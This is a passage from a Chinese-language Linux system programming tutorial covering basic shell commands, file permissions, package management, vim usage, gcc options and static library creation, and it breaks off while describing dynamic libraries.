Linux系统编程(零):cmd & vim & gcc & gdb

Linux 系统编程

1. Linux(Ubuntu) cmd 指令详解

1.1 shell

1.1.1 shell 家族

  • shell:命令解释器,根据输入的命令执行相应命令
  • 查看当前系统下有哪些 shell
    $ cat /etc/shells
    
    # /etc/shells: valid login shells
    /bin/sh        # 已经被 /bin/bash 所取代
    /bin/bash      # Linux 默认的 shell
    /bin/rbash
    /bin/dash
    
  • 查看当前系统正在使用的 shell
    $ echo $SHELL
    
    /bin/bash
    

1.1.2 bash

  • bash 是一个为 GNU 计划编写的 Unix shell。它的名字是一系列缩写:Bourne-Again-SHell
  • bash 是许多 Linux 平台的内定 shell
  • 大多数时候,一个 Shell Script 通常可以在很多种 shell 上使用

1.1.3 命令和路径补齐

  • 在 bash 下敲命令时,Tab 键可以补全已经敲了一部分的文件名和目录名

1.1.4 历史记录

  • 按上、下移动光标键(或者Ctrl-p、Ctrl-n)可以一条一条浏览以前输过的命令
  • 如果能记住以前输过的某条命令中的某个关键字,可以按 Ctrl+r,然后输入关键字,随着每输入一个字母,bash 会做增量式查找
    $ history
    
    # 按下 Ctrl+r 后,输入关键字 'sq'
    $ (reverse-i-search)`sq': sqlite3
    

1.2 目录和文件

1.2.1 类 Unix 系统目录结构

  • Ubuntu 没有盘符这个概念,只有一个根目录 /,所有文件都在它下面

在这里插入图片描述

/:根目录
/bin:
    bin 是 Binaries (二进制文件) 的缩写, 这个目录存放着最经常使用的命令
/boot:
    这里存放的是启动 Linux 时使用的一些核心文件,包括一些连接文件以及镜像文件
/dev :
    dev 是 Device(设备) 的缩写, 该目录下存放的是 Linux 的外部设备,在 Linux 中访问设备的方式和访问文件的方式是相同的
/etc:
    etc 是 Etcetera(等等) 的缩写,这个目录用来存放所有的系统管理所需要的配置文件和子目录
/home:
    用户的主目录,在 Linux 中,每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的,如上图中的 alice、bob 和 eve
/lib:
    lib 是 Library() 的缩写这个目录里存放着系统最基本的动态连接共享库,其作用类似于 Windows 里的 DLL 文件。几乎所有的应用程序都需要用到这些共享库
/media:
    linux 系统会自动识别一些设备,例如U盘、光驱等等,当识别后,Linux 会把识别的设备挂载到这个目录下
/mnt:
    系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将光驱挂载在 /mnt/ 上,然后进入该目录就可以查看光驱里的内容了
/opt:
    opt 是 optional(可选) 的缩写,这是给主机额外安装软件所摆放的目录。比如你安装一个ORACLE数据库则就可以放到这个目录下。默认是空的
/proc:
    proc 是 Processes(进程) 的缩写,/proc 是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息
/root:
    该目录为系统管理员,也称作超级权限者的用户主目录
/sbin:
    s 就是 Super User 的意思,是 Superuser Binaries (超级用户的二进制文件) 的缩写,这里存放的是系统管理员使用的系统管理程序
/selinux:
    这个目录是 Redhat/CentOS 所特有的目录,Selinux 是一个安全机制,类似于 windows 的防火墙,但是这套机制比较复杂,这个目录就是存放selinux相关的文件的
/srv:
    该目录存放一些服务启动之后需要提取的数据
/sys:
    这是 Linux2.6 内核的一个很大的变化。该目录下安装了 2.6 内核中新出现的一个文件系统 sysfs 
/tmp:
    tmp 是 temporary(临时) 的缩写这个目录是用来存放一些临时文件的
/usr:
    usr 是 unix shared resources(共享资源) 的缩写,这是一个非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于 windows 下的 program files 目录
/usr/bin:
    系统用户使用的应用程序
/usr/sbin:
    超级用户使用的比较高级的管理程序和系统守护程序
/usr/src:
    内核源代码默认的放置目录
/var:
    var 是 variable(变量) 的缩写,这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件
/run:
    是一个临时文件系统,存储系统启动以来的信息。当系统重启时,这个目录下的文件应该被删掉或清除。如果你的系统上有 /var/run 目录,应该让它指向 run

1.2.2 用户目录

  • 位于 /home/user,称之为用户工作目录或家目录,两种表示方式如下

    $ /home/user
    $ ~
    
    yxd@yxd-VirtualBox:~$ cd /home/
    yxd@yxd-VirtualBox:/home$ cd ~
    yxd@yxd-VirtualBox:~$
    
  • 相对、绝对路径

    # 绝对路径:从/目录开始描述的路径为绝对路径
    $ cd /home/
    
    # 从当前位置开始描述的路径为相对路径
    $ cd ../../
    
  • 每个目录下都有 . 和 …

    • . 表示当前目录
    • … 表示上一级目录,即父目录
    • 根目录下的 . 和 … 都表示当前目录

1.2.3 ls

  • ls 是英文单词 list 的简写,其功能为:列出目录的内容
    -a 列出隐藏文件,文件中以 “.” 开头的均为隐藏文件,如:~/.bashrc
    -l 列出文件的详细信息
    -R 连同子目录中的内容一起列出
    
  • 用 ls -l 命令显示的信息中,开头是由 10 个字符构成的字符串
    $ ls -l
    total 236
    -rw-r--r--  1 yxd yxd     0 11月 14 19:05 apitest
    drwxrwxr-x  2 yxd yxd  4096 7月  31 13:41 bag
    ...
    ...
    -rw-r--r--  1 yxd yxd     0 11月 13 19:46 my,db
    -rw-r--r--  1 yxd yxd 24576 11月 14 15:40 my.db
    lrwxrwxrwx  1 yxd yxd    13 9月  14 15:37 myfile -> /no/such/file
    
    • 第 1 个字符表示文件类型,可以是下述类型之一
    - 普通文件
    d 目录
    l 符号链接
    b 块设备文件
    c 字符设备文件
    s socket文件,网络套接字
    p 管道
    
    • 后面 9 个字符表示文件访问权限,分为 3 组,每组 3 位,每组 3 个字符分别表示对文件的读、写和执行权限
      • 第一组表示文件属主的权限
      • 第二组表示同组用户的权限
      • 第三组表示其他用户的权限
    r 读
    w 写
    x 可执行。对于目录,表示进入权限
    s 当文件被执行时,把该文件的 UID 或 GID 赋予执行进程的 UID(用户 ID)或 GID(组 ID)
    t 设置标志位(sticky bit)。如果有 sticky bit 的目录,在该目录下任何用户只要有适当的权限即可创建文
      件,但文件只能被超级用户、目录拥有者或文件属主删除。如果是有sticky bit的可执行文件,在该文件执行后,
      指向其正文段的指针仍留在内存。这样再次执行它时,系统就能更快地装入该文件。
    - 没有相应位置的权限
    

访问权限后面的数字表示与该文件共享 inode 的文件总数,即硬链接数

1.2.4 cd & which & pwd

  • cd:change dir 改变当前所在路径;which 查看指定命令所在路径;pwd 查看当前所在路径
    $ cd ~  # 直接输入 cd 也能直接进入 ~ 目录下
    $ cd dir1/dir2
    $ cd ..
    
    $ which ls
    
    $ pwd
    

1.2.5 mkdir & rmdir

  • mkdir:创建目录,可以一次创建多个
  • rmdir:删除空目录,可以一次删除多个(空目录:只包含 . 和 … 的目录)
    $ mkdir a
    $ mkdir a/b
    $ ls a
    b
    
    $ rmdir a/b
    $ ls a
    $ rmdir a
    
    # 后面跟着 -p,表示可以连同父目录一起创建
    $ mkdir -p a/b
    $ ls a
    b
    # 后面跟着 -p,表示可以连同空的父目录一起删除
    $ rmdir -p a/b
    

1.2.6 touch & rm & mv & cp

  • touch
    • 将每个文件的访问及修改时间都更新为目前的时间
    • 如果文件不存在,则创建一个字节数为 0 的文件
  • rm
    • 删除文件或目录
    # 删除文件
    $ rm file
    
    # 删除目录
    $ rm -rf dir
    
  • mv
    • 重命名或移动文件
    # 重命名
    $ mv file1 file2
    
    # 移动文件
    $ mv file1 ~/
    
  • cp
    • 拷贝文件或目录
    # 拷贝文件
    $ cp file1 file2
    $ cp file1 dir/
    $ cp file1 ../
    
    # 拷贝目录
    cp -r dir1 dir2 
    cp -r dir1 ~/ 
    

1.2.7 cat & more & less & head & tail

  • cat
    • 查看文件内容并输出到终端
    • 如果 cat 时没跟文件名,则读标准输入,遇到 \n 后,输出到标准输出,终端下输入 ctrl+d 表示结束
  • more
    • 查看文本文件的内容,屏幕显示完一屏就等待用户按下任意键再滚动到下一屏
    • 如果中途不想继续看下去了,可以按 ctrl+c 或 q 终止显示
  • less
    • 查看文本文件的内容,屏幕显示完一屏就等待用户按键,用户可以向上或向下查看
  • head
    • 显示指定文件的前面几行,如果没有指定文件,将从标准输入(键盘)上读取
    • 如果没有指定要显示的行数,则默认显示前 10 行
    # 显示文件 file1 的前 5 行
    $ head -5 file1
    
  • tail
    • 显示文件的最后几行,若没有指定显示的行或字符数,则默认显示末尾 10 行
    # 显示文件 file1 的后 5 行
    $ tail -5 file1 
    

1.2.8 ln

  • 链接有两种,一种被称为硬链接(Hard Link),另一种被称为符号链接(Symbolic Link)
    • 建立硬链接时,链接文件和被链接文件必须位于同一个文件系统中,并且不能建立指向目录的硬链接
    • 而对符号链接(也称软链接),则不存在这个问题
    • 默认情况下,ln 产生硬链接,ln -s 建立符号链接
    # 硬链接
    $ touch hello
    $ ln hello word_h
    
    # 软链接
    $ ln -s hello word_s
    

1.2.9 tree & wc & od & df & du

  • tree
    • 按结构树的形状显示目录和文件
    # 使用该命令前需进行安装
    $ sudo apt-get install tree
    
  • wc
    • 计算文件的 Byte 数、字数或列数
    • 若不指定文件名称、或所给予的文件名为 “-”,则从标准输入设备读取数据
    $ wc -l ./*
    # -c 或 –bytes 或 –chars   只显示 Bytes 数
    # -l 或 –lines             只显示列数
    # -w 或 –words             只显示字数
    
  • od
    • 指定数据的显示格式
    $ od -tcx file1  # 显示格式:ASCII 字符/反斜杠序列 + 十六进制数
    
    # -t 后的主要参数有
    # c ASCII 字符或反斜杠序列
    # d[SIZE] 有符号十进制数,每个整数 SIZE 字节
    # f[SIZE] 浮点数,每个整数 SIZE 字节
    # o[SIZE] 八进制(系统默认值为 02),每个整数 SIZE 字节
    # u[SIZE] 无符号十进制数,每个整数 SIZE 字节
    # x[SIZE] 十六进制数,每个整数 SIZE 字节
    
  • df
    • 查看磁盘使用情况
    $ df --block-size=GB
    $ df --block-size=MB
    
  • du
    • 查看某个目录的大小
    # 以 M 为单位
    $ du -hm /home/itcast/test
    
    # 以 B 为单位
    $ du -hb ./*
    
    # 以K为单位,4k 的整数倍
    $ du -hk ./*
    
    # 总计大小,以 M 为单位
    $ du -hc ./*
    

1.3 文件属性和用户、用户组

1.3.1 whoami

  • 查看当前登陆用户

1.3.2 chmod

  • 改变文件或目录的访问权限
文字设定法
$ chmod [who] [+|-|=] [mode] 文件名
  • 操作对象 who 可是下述字母中的任一个或者它们的组合
    u 表示 “用户(user)”,即文件或目录的所有者
    g 表示 “同组(group)用户”,即与文件属主有相同组 ID 的所有用户
    o 表示 “其他(others)用户”
    a 表示 “所有(all)用户”,它是系统默认值
    
  • 操作符号可以是
    + 添加某个权限
    - 取消某个权限
    = 赋予给定权限并取消其他所有权限(如果有的话)
    
  • 设置 mode 所表示的权限可用下述字母的任意组合
    r 可读
    w 可写
    x 可执行
    
数字设定法
$ chmod [mode] 文件名

# 0 表示没有权限
# 1 表示可执行权限
# 2 表示可写权限
# 4 表示可读权限

# 设置一个文件允许所有用户可读、可写、可执行
$ chmod 777 file1
user    group   other
r w x   r w x   r w x
4 2 1   4 2 1   4 2 1
  7       7       7

1.3.3 chown

  • 更改某个文件或目录的属主和属组
    • 例如 root 用户把自己的一个文件拷贝给用户 A, 为了让用户 A 能够存取这个文件,root 用户应该把这个文件的属主设为 A,否则,用户 A 无法存取这个文件
    • OPTION 的主要参数
      • -R 递归式地改变指定目录及其下的所有子目录和文件的拥有者
      • -v 显示chown命令所做的工作
    chown [OPTION][OWNER:GROUP] FILE…
    chown [OPTION]… –reference=RFILE FILE…
    
  • 比如把一个文件改为 itcast 用户和 nogroup 用户组所有
    • chown 需要特权用户才能执行
    • 一个文件的 owner 和 owning group 是没有关联的
      • 一个文件属于用户 A,也属于用户组 B,但并不表示用户 A 属于用户组 B
    $ sudo chown itcast:nogroup file1
    

1.3.4 chgrp

  • 改变(指定)指定文件所属的用户组
    • group 可以是用户组ID,也可以是 /etc/group 文件中用户组的组名
    • 文件名是以空格分开的要改变属组的文件列表,支持通配符
    • 如果用户不是该文件的属主或超级用户,则不能改变该文件的组
    • OPTION 的主要参数 -R:递归式地改变指定目录及其下的所有子目录和文件的属组
    chgrp [OPTION]GROUP FILE…
    chgrp [OPTION]… –reference=RFILE FILE…
    

1.4 查找与检索

1.4.1 find

  • 根据文件名查找
    • 在目录中搜索文件,path 指定目录路径,系统从这里开始沿着目录树向下查找文件
    $ find pathname -options [-print -exec -ok -name -type...]
    
    $ find . -name 'file*'  # 在当前目录及子目录下查找所有以 file 开头的文件名
    $ find / -name 'vimrc'
    $ find ~ -name '*.c'
    $ find /usr/ -name "*tmp*" -exec ls -l { } \;
    $ find ./ -name "*tmp" -ok rm { } \;
    

1.4.2 grep

  • 根据内容检索
    • 在指定文件中搜索特定的内容,并将含有这些内容的行输出到标准输出。若不指定文件名,则从标准输入读取
    • [options] 部分包含的主要参数
    -I:不区分大小写(只适用于单字符)
    -h:查询多文件时不显示文件名
    -l:查询多文件时只输出包含匹配字符的文件名
    -n:显示匹配行及行号
    -s:不显示不存在或无匹配文本的错误信息
    -v:显示不包含匹配文本的所有行
    -R:连同子目录中所有文件一起查找
    
  • 例如:到系统头文件目录下查找所有包含 printf 的文件
    $ grep 'printf' /usr/include -R
    

1.5 安装卸载软件

1.5.1 apt-get/apt

  • 更新源服务器列表
    $ sudo vi /etc/apt/sources.list
    
  • 具体指令
    $ sudo apt-get update # 更新源
    $ sudo apt-get install package # 安装包
    $ sudo apt-get remove package # 删除包
    $ sudo apt-cache search package # 搜索软件包
    $ sudo apt-cache show package # 获取包的相关信息,如说明、大小、版本等
    $ sudo apt-get install package --reinstall # 重新安装包
    $ sudo apt-get -f install # 修复安装
    $ sudo apt-get remove package --purge # 删除包,包括配置文件等
    $ sudo apt-get build-dep package # 安装相关的编译环境
    $ sudo apt-get upgrade # 更新已安装的包
    $ sudo apt-get dist-upgrade # 升级系统
    $ sudo apt-cache depends package # 了解使用该包依赖那些包
    $ sudo apt-cache rdepends package # 查看该包被哪些包依赖
    $ sudo apt-get source package # 下载该包的源代码
    $ sudo apt-get clean && sudo apt-get autoclean # 清理无用的包
    $ sudo apt-get check # 检查是否有损坏的依赖
    

1.5.2 deb 包安装

$ sudo dpkg -i xxx.deb # 安装 deb 软件包命令
$ sudo dpkg -r xxx.deb # 删除软件包命令
$ sudo dpkg -r --purge xxx.deb # 连同配置文件一起删除命令
$ sudo dpkg -info xxx.deb # 查看软件包信息命令
$ sudo dpkg -L xxx.deb # 查看文件拷贝详情命令
$ sudo dpkg -l # 查看系统中已安装软件包信息命令
$ sudo dpkg-reconfigure xxx # 重新配置软件包命令

1.5.3 源码安装

$ cd dir
$ ./configure          # 检测文件是否缺失,创建 Makefile,检测编译环境
$ make                 # 编译源码,生成库和可执行程序
$ sudo make install    # 把库和可执行程序,安装到系统路径下
$ sudo make distclean  # 删除和卸载软件

1.6 压缩包管理

1.6.1 tar

  • tar 可以为文件和目录创建档案
    • tar 命令可以为某一特定文件创建档案(备份文件),也可以在档案中改变文件,或者向档案中加入新的文件
    • 要将文件备份到一个特定的设备,只需把设备名作为备份文件名
    # 打包
    # c 创建新的档案文件
    # x 从档案文件中释放文件
    # v 详细报告 tar 处理的文件信息
    # f 使用档案文件或设备
    $ tar cvf dir.tar dir
    $ tar xvf dir.tar dir
    
    # 打 gz 压缩包
    # z 用 gzip 来压缩/解压缩文件,加上该选项后可以将档案文件进行压缩,但还原时也一定要使用该选项进行解压缩
    $ tar zcvf dir.tar.gz dir
    $ tar zxvf dir.tar.gz
    
    
    # 打 bz2 压缩包
    # j 用 bzip2 来压缩/解压缩文件,加上该选项后可以将档案文件进行压缩,但还原时也一定要使用该选项进行解压缩
    $ tar jcvf dir.tar.bz2 dir
    $ tar jxvf dir.tar.bz2
    
    # 指定目录解压缩
    $ tar zxvf dir.tar.gz -C ~/test
    

1.6.2 rar

# 打包:把 dir 压缩成 newdir.rar
$ rar a -r newdir dir

# 解包:把 newdir.rar 解压缩到当前目录
$ unrar x newdir.rar

1.6.3 zip

# 打包:把 dir 压缩成 dir.zip
$ zip -r dir.zip dir

# 解包
$ unzip dir.zip

1.7 进程管理

1.7.1 who

  • 查看当前在线上的用户情况
    • 所有的选项都是可选的,不使用任何选项时,who 命令将显示以下三项内容
      • login name:登录用户名
      • terminal line:使用终端设备
      • login time:登录到系统的时间
    $ who
    yxd      :0           2023-12-08 14:40 (:0)
    

1.7.2 ps

  • ps 命令用于监控后台进程的工作情况,因为后台进程是不和屏幕键盘这些标准输入/输出设备进行通信的
    • 最常用的四个参数是 a、u、j、x
    -e:显示所有进程
    -f:全格式
    -h:不显示标题
    -l:长格式
    -w:宽输出
    -r:只显示正在运行的进程
    -a:即 all,表示显示所有用户的进程,即包括其他用户的进程
    -u:表示以用户为主的格式来显示进程信息,包括进程的用户、进程 ID、CPU 占用率、内存占用率等
    -j:表示输出进程的详细信息,包括进程所属用户、进程 ID、父进程 ID、CPU 占用率、内存占用率等
    -x:表示显示无选项进程,即显示不属于当前终端的进程
    
    $ ps aux
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.1 225612  9436 ?        Ss   14:39   0:01 /sbin/in
    root         2  0.0  0.0      0     0 ?        S    14:39   0:00 [kthread
    root         3  0.0  0.0      0     0 ?        I<   14:39   0:00 [rcu_gp]
    ...
    ...    
    
    $ ps ajx
    PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND
       0     1     1     1 ?           -1 Ss       0   0:01 /sbin/init splash
       0     2     0     0 ?           -1 S        0   0:00 [kthreadd]
       2     3     0     0 ?           -1 I<       0   0:00 [rcu_gp]
    ...
    ...
    
    # Head 标头含义解析
    USER 用户名
    UID 用户 ID(User ID)
    PID 进程 ID(Process ID)
    PPID 父进程的进程 ID(Parent Process id)
    SID 会话 ID(Session id)
    %CPU 进程的 CPU 占用率
    %MEM 进程的内存占用率
    VSZ 进程所使用的虚存的大小(Virtual Size)
    RSS 进程使用的驻留集大小或者是实际内存的大小,Kbytes 字节
    TTY 与进程关联的终端(tty)
    STAT 进程的状态:进程状态使用字符表示的(STAT 的状态码)
        R 运行 Runnable (on run queue) 正在运行或在运行队列中等待
        S 睡眠 Sleeping 休眠中, 受阻, 在等待某个条件的形成或接受到信号
        I 空闲 Idle
        Z 僵死 Zombie(a defunct process) 进程已终止, 但进程描述符存在, 直到父进程调用 wait4() 系统调
        用后释放
        D 不可中断 Uninterruptible sleep(ususally IO) 收到信号不唤醒和不可运行, 进程必须等待直到有中
        断发生
        T 停止 Terminate 进程收到 SIGSTOP, SIGSTP, SIGTIN, SIGTOU 信号后停止运行运行
        P 等待交换页
        W 无驻留页 has no resident pages 没有足够的记忆体分页可分配
        X 死掉的进程
        < 高优先级进程高优先序的进程
        N 低优先级进程低优先序的进程
        L 内存锁页 Lock 有记忆体分页分配并缩在记忆体内
        s 进程的领导者(在它之下有子进程)
        l 多进程的(使用CLONE_THREAD, 类似NPTL pthreads)
        + 位于后台的进程组
    START 进程启动时间和日期
    TIME 进程使用的总 CPU 时间
    COMMAND 正在执行的命令行命令
    NI 优先级 (Nice)
    PRI 进程优先级编号 (Priority)
    WCHAN 进程正在睡眠的内核函数名称;该函数的名称是从 /root/system.map 文件中获得的
    FLAGS 与进程相关的数字标识
    

1.7.3 jobs

  • 用来显示当前 shell 下正在运行哪些作业(即后台作业)
    $ cat
    ^Z  # 按下Ctrl-z挂起当前进程
    [1]+  Stopped                 cat
    
    $ cat
    ^Z
    [2]+  Stopped                 cat
    
    $ jobs
    [1]-  Stopped                 cat
    [2]+  Stopped                 cat
    # 第一列中的数字表示作业序号,由当前运行的 shell 分配
    # 第二列中的 “+” 号表示相应作业的优先级比 “-” 号对应作业的优先级高
    # 第三列表明作业状态,是否为运行、中断、等待输入或停止等
    # 第四列是创建当前这个作业所对应的命令行
    

1.7.4 kill

  • 向指定进程发送信号
    $ kill [ -signal | -s signal ] pid ...
    
  • 查看信号编号
    $ kill -l [ signal ]
    
  • 给一个进程发信号,或终止一个进程的运行
    • kill 命令如果不带参数而是后面直接跟 pid,就是发给该进程 SIGTERM 信号,大部分进程收到该信号就会终止
    • 但是被挂起的进程不能处理信号,所以必须发 SIGKILL 信号,由系统强制终止进程
    $ cat
    $ # 按 ctrl+z 挂起当前进程
    [1]+ Stopped cat
    
    $ ps
    PID TTY TIME CMD
    5819 pts/1 00:00:00 bash
    5893 pts/1 00:00:00 cat
    5894 pts/1 00:00:00 ps
    
    $ kill -SIGKILL 5893  # 被挂起的进程不能处理信号,必须发 SIGKILL 信号,由系统强制终止进程
    $ # 再次按回车键
    [1]+ Killed cat
    $
    

1.7.5 env

  • 查看当前进程环境变量
    $ env
    $ vim ~/.bashrc
    
  • 配置当前用户环境变量
    • 配置系统环境变量,配置时需要有 root 权限
    $ vim /etc/profile
    $ export PATH=$PATH:新路径
    

1.8 网络管理

1.8.1 ifconfig

# 查看网卡信息
$ ifconfig

# 关闭网卡
$ sudo ifconfig eth0 down

# 开启网卡 eth0
$ sudo ifconfig eth0 up

# 给 eth0 配置临时 IP
$ sudo ifconfig eth0 IP

1.8.2 ping

  • 查看网络上的主机是否在工作
    $ ping [选项] 主机名/IP地址
    

1.8.3 netstat

  • 显示网络连接、路由表和网络接口信息,可以让用户得知目前都有哪些网络连接正在运作
    $ netstat [选项]
    

1.8.4 nslookup

  • 查询一台机器的 IP 地址和其对应的域名
    $ nslookup name
    

1.8.5 ssh

# 安装 ssh 服务器
$ sudo apt-get install openssh-server

# 远程登陆
$ ssh 用户名@IP

1.9 关机重启

1.9.1 关机 poweroff

$ poweroff

1.9.2 重启 reboot

$ reboot

1.9.3 shutdown

$ shutdown -r now 立刻重新开机
$ shutdown -h now 立刻关机

1.10 其他命令

1.10.1 man

  • 看手册 (叫做 manual 或 man page)
$ man man
$ man read     # 查看 read 命令的 man page
$ man 2 read   # 查看 read 系统函数的 man page(在第二个 section 中,表示为 read(2))
$ man -k read  # 以 read 为关键字查找相关的 man page

1.10.2 clear

  • 清屏,使光标和提示符回到屏幕第一行
    # 快捷键 ctrl+l
    $ clear
    

1.10.3 echo

  • 在显示器上显示一段文字,一般起到一个提示的作用
    • 其中选项 n 表示输出文字后不换行,字符串可以加引号,也可以不加引号
    • 用 echo 命令输出加引号的字符串时,将字符串原样输出
    • 用 echo 命令输出不加引号的字符串时,将字符串中的各个单词作为字符串输出,各字符串之间用一个空格分割
    $ echo [-n] 字符串
    

1.10.4 创建终端

创建终端标签 Ctrl + Shift + t
切换标签 Alt+n(n=1)
新开终端 Ctrl + Shift + n

2. vim 详解

2.1 vi 简介

  • vi 是 “Visual interface” 的简称,可以执行输出、删除、查找、替换、块操作等众多文本操作,而且用户可以根据自己的需要对其进行定制,vi 只是一个文本编辑程序,没有菜单,只有命令且命令繁多
  • vi 有三种基本工作模式:
    • 命令模式
    • 文本输入模式
    • 末行模式

在这里插入图片描述

2.1.1 命令模式

  • 任何时候,不管处于何种模式,只要按一下 ESC 键,即可使 vi 进入命令模式,在 shell 环境 (提示符为 $) 下输入启动 vi 命令,进入编辑器时,也是处于该模式下
  • 在该模式下,用户可以输入各种合法的 vi 命令,用于管理自己的文档
    • 此时从键盘上输入的任何字符都被当做编辑命令来解释,若输入的字符是合法的 vi 命令,则 vi 在接受用户命令之后完成相应的动作
    • 需注意的是,所输入的命令并不在屏幕上显示出来
    • 若输入的字符不是 vi 的合法命令,vi 会响铃报警

2.1.2 文本输入模式

  • 在命令模式下
    • 输入插入命令 i、附加命令 a 、打开命令 o、修改命令 c、取代命令 r 或替换命令 s 都可以进入文本输入模式
    • 在该模式下,用户输入的任何字符都被 vi 当做文件内容保存起来,并将其显示在屏幕上
    • 在文本输入过程中,若想回到命令模式下,按键 ESC 即可

2.1.3 末行模式

  • 在命令模式下,用户按 “:” 键即可进入末行模式下,此时 vi 会在显示窗口的最后一行(通常也是屏幕的最后一行)显示一个 “:” 作为末行模式的提示符,等待用户输入命令
  • 多数文件管理命令都是在此模式下执行的 (如把编辑缓冲区的内容写到文件中等)
  • 末行命令执行完后,vi 自动回到命令模式

2.2 vim 基本操作

2.2.1 文本输入模式

i: 插入光标前一个字符
I: 插入行首
a: 插入光标后一个字符
A: 插入行未
o: 向下新开一行,插入行首
O: 向上新开一行,插入行首

2.2.2 命令模式

  • 移动光标
    h: 左移
    j: 下移
    k: 上移
    l: 右移
    M: 光标移动到中间行
    L: 光标移动到屏幕最后一行行首
    G: 移动到指定行,行号 -G
    w: 向后一次移动一个字
    b: 向前一次移动一个字
    {: 按段移动,上移
    }: 按段移动,下移
    Ctr-d: 向下翻半屏
    Ctr-u: 向上翻半屏
    Ctr-f: 向下翻一屏
    Ctr-b: 向上翻一屏
    gg: 光标移动文件开头
    G: 光标移动到文件末尾
    
  • 删除命令
    x: 删除光标后一个字符,相当于 Del
    X: 删除光标前一个字符,相当于 Backspace
    dd: 删除光标所在行,n dd 删除指定的行数 D: 删除光标后本行所有内容,包含光标所在字符
    d0: 删除光标前本行所有内容,不包含光标所在字符
    dw: 删除光标开始位置的字,包含光标所在字符
    
  • 撤销命令
    u: 一步一步撤销
    Ctr-r: 反撤销
    
  • 重复命令
    .: 重复上一次操作的命令
    
  • 复制粘贴
    yy: 复制当前行,n yy 复制 n 行
    p: 在光标所在位置向下新开辟一行,粘贴
    
  • 可视模式
    v: 按字符移动,选中文本
    V: 按行移动,选中文本可视模式可以配合 d, y, >>, << 实现对文本块的删除,复制,左右移动
    
  • 替换操作
    r: 替换当前字符
    R: 替换当前行光标后的字符
    
  • 查找命令
    /: str 查找
    n: 下一个
    N:上一个
    K:在系统函数上按 K 直接跳转到 man page
    #:在自定义函数上按 # 直接跳转到函数定义
    
  • 替换命令
    末行模式下,将光标所在行的 abc 替换成 123
    :%s/abc/123/g
    
    末行模式下,将第一行至第 10 行之间的 abc 替换成 123
    :1,10s/abc/123/g
    
  • 查看 Man Page
    光标移动到函数上,Shift-k 光标移动到函数上
    3Shift-k,查看第三章的 ManPage
    
  • 代码自动缩进排版
    gg=G
    
  • vim 里执行 shell 下命令
    末行模式里输入!,后面跟命令
    

2.3 vim 分屏操作

  • 分屏操作
    sp:上下分屏,后可跟文件名
    vsp:左右分屏,后可跟文件名
    Ctrl+w+w:在多个窗口切换
    
  • 启动分屏
    # 使用大写 O 参数进行垂直分屏
    # n 是数字,表示分屏的数量,n 要大于等于文件个数
    $ vim -On file1 file2 ...
    
    # 使用小写 o 参数进行水平分屏
    $ vim -on file1 file2 ...
    
  • 关闭分屏
    # 关闭当前窗口
    $ ctrl+w c
    
    # 关闭当前窗口,如果只剩最后一个,则退出vim
    $ ctrl+w q
    

3. gcc

3.1 gcc 编译 4 步骤

在这里插入图片描述

3.2 gcc 编译常用参数

-v –version 查看 gcc 版本号
-I 目录 指定头文件目录,注意 -I 和目录之间空格可有可无
-c 只做预处理、编译、汇编,得到 .o 二进制文件,不进行链接
-g 编译时添加调试文件,用于 gdb 调试
-On n=0∼3 编译优化,n 越大优化得越多(嵌入式编程中使用较多,默认 n = 2)
-Wall 显示所有警告信息
-D<DEF> 编译时定义宏,注意 -D 和 <DEF> 之间没有空格
-E 生成预处理文件
-M 生成 .c 文件与头文件依赖关系以用于 Makefile,包括系统库的头文件
-MM 生成 .c 文件与头文件依赖关系以用于 Makefile,不包括系统库的头文件

3.3 示例:-I 使用

$ vi hello.c
$ gcc hello.c -o hello
$ ls
hello  hello.c  hello.h
$ ./hello 
-----------

$ mkdir include
$ mv hello.h include/
$ ls
hello  hello.c  include
$ gcc hello.c -o hello
hello.c:1:10: fatal error: hello.h: No such file or directory
 #include "hello.h"
          ^~~~~~~~~
compilation terminated.

# 当头文件和源码不在一个目录下时,需要使用 -I 参数指定头文件所在位置
$ gcc -I./include hello.c -o hello
$ ls
hello  hello.c  include
$ ./hello 
-----------

4. 静态库和动态库

  • 所谓 “程序库”,简单说,就是包含了数据和执行码的文件
    • 其不能单独执行,可以作为其它执行程序的一部分来完成某些功能
    • 库的存在,可以使得程序模块化,可以加快程序的再编译,可以实现代码重用,可以使得程序便于升级
  • 程序库可分静态库 (static library) 和共享库 (shared object,也称动态库)
    • 静态库:是在可执行程序运行前就已经加入到执行码中,成为执行程序的一部分,适用于对空间要求较低,而时间要求较高的核心程序中
    • 动态库:是在执行程序启动时加载到执行程序中,可以被多个执行程序共享使用,适用于对时间要求较低,对空间要求较高的程序中

4.1 静态库

  • 静态库可以认为是一些目标代码的集合
    • 静态库名字以 lib 开头,以 .a 结尾,例如 libmymath.a
    • 使用 ar(archiver) 命令可以创建静态库
    • 共享库有着更大的优势,静态库已经不经常使用,但静态库使用简单,仍有使用的余地并会一直存在
  • 静态库在应用程序生成时,可以不必再编译,节省再编译时间。但在编译器越来越快的今天,这一点似乎已不重要。如果其他开发人员要使用你的程序,而你又不想给其源码,提供静态库是一种选择
  • 静态库的制作及使用流程
    # 1. 将 .c 生成 .o 文件
    $ gcc -c add.c -o add.o
    $ gcc -c sub.c -o sub.o
    $ gcc -c div1.c -o div1.o
    $ ls
    add.c  add.o  div1.c  div1.o  sub.c  sub.o
    
    # 2. 使用 ar 工具制作静态库
    $ ar rcs libmymath.a add.o sub.o div1.o
    $ ls
    add.c  add.o  div1.c  div1.o  libmymath.a  sub.c  sub.o
    
    # 3. 编译静态库到可执行文件中
    $ gcc test.c libmymath.a -o test
    
    # 当存在头文件且在 include 目录下,静态库文件在 lib 目录下时
    $ gcc test.c ./lib/libmymath.a -o test -I ./include
    

4.2 动态库

  • 地址回填
    • 源代码里的函数,相对 main 函数偏移是一定的,链接时,回填 main 函数地址后,其他源代码的函数也就得到了地址
  • 动态库里的函数会用一个 @plt 来标识,当动态库加载到内存时,再用加载进去的地址将 @plt 替换掉
  • 动态库的制作及使用流程
    # 1. 将 .c 生成 .o 文件(生成与位置无关的代码 -fPIC)
    $ gcc -c add.c -o add.o -fPIC
